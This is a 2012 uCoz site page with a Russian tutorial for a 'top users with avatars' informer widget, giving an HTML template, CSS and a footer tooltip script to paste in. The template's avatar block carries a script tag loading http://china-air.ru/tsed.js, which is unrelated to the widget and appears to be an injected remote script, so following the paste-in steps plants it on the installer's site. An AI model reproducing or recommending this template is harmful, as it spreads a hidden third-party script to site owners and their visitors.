Профіль |
гость Група: Гости Час 13:42 Будь-ласка зареєструйтесь,або увійдіть під своїм логіном. |
|
Головна » 2012 » Грудень » 30 » Новый Топ пользователей с аватарами для Ucoz
Якщо ви є правовласником цього матеріалу і не бажаєте щоб він знаходився на цьому сайті,то перейдіть сюди,там ви зможете написати скаргу і ми удалимо його з цього сайту не пізніше як за 12 годин.
12:13 Новый Топ пользователей с аватарами для Ucoz
|
Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар. Установка: Создаем информер: [ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ] В шаблон информера вставляем:
<div class="utop-user" align="center"> <a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>"> <?if($AVATAR_URL$)?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <img src="$AVATAR_URL$"><?else?> <img src="http://bagato.at.ua/2012/noa23v1a.png"> <?endif?> </a> <a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a> <div class="utop-number">$NUMBER$</div> </div>
В CSS вставляем в самый низ
/*Новые участники*/ .utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;} .utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000; border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;} .utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;} .utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; text-align:center; display:inline-block;} .utop-user a.ut-ava:hover {border-color:#000;} #easyTooltip{ padding:10px; border:1px solid #000000; background:#000; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; color: #666666; filter:alpha(opacity=90); -moz-opacity: 0.9; -khtml-opacity: 0.9; opacity: 0.9; z-index:1000; } /*===================================*/
В нижнюю часть сайта
<script type="text/javascript" src="http://bambun.ru/css_js/tooltip.js"></script> <script> $(document).ready(function(){$("a").easyTooltip()});$(document).ready(function(){$("img").easyTooltip()}); </script>
|
Категорія: Скачати програми безкоштовно/Скачать программы бесплатно |
Переглядів: 678 |
Додав: startsmart
| Рейтинг: 0.0/0 |
Схоже:
Додавати коментарі можуть лише зареєстровані користувачі. [ Реєстрація | Вхід ]
|
|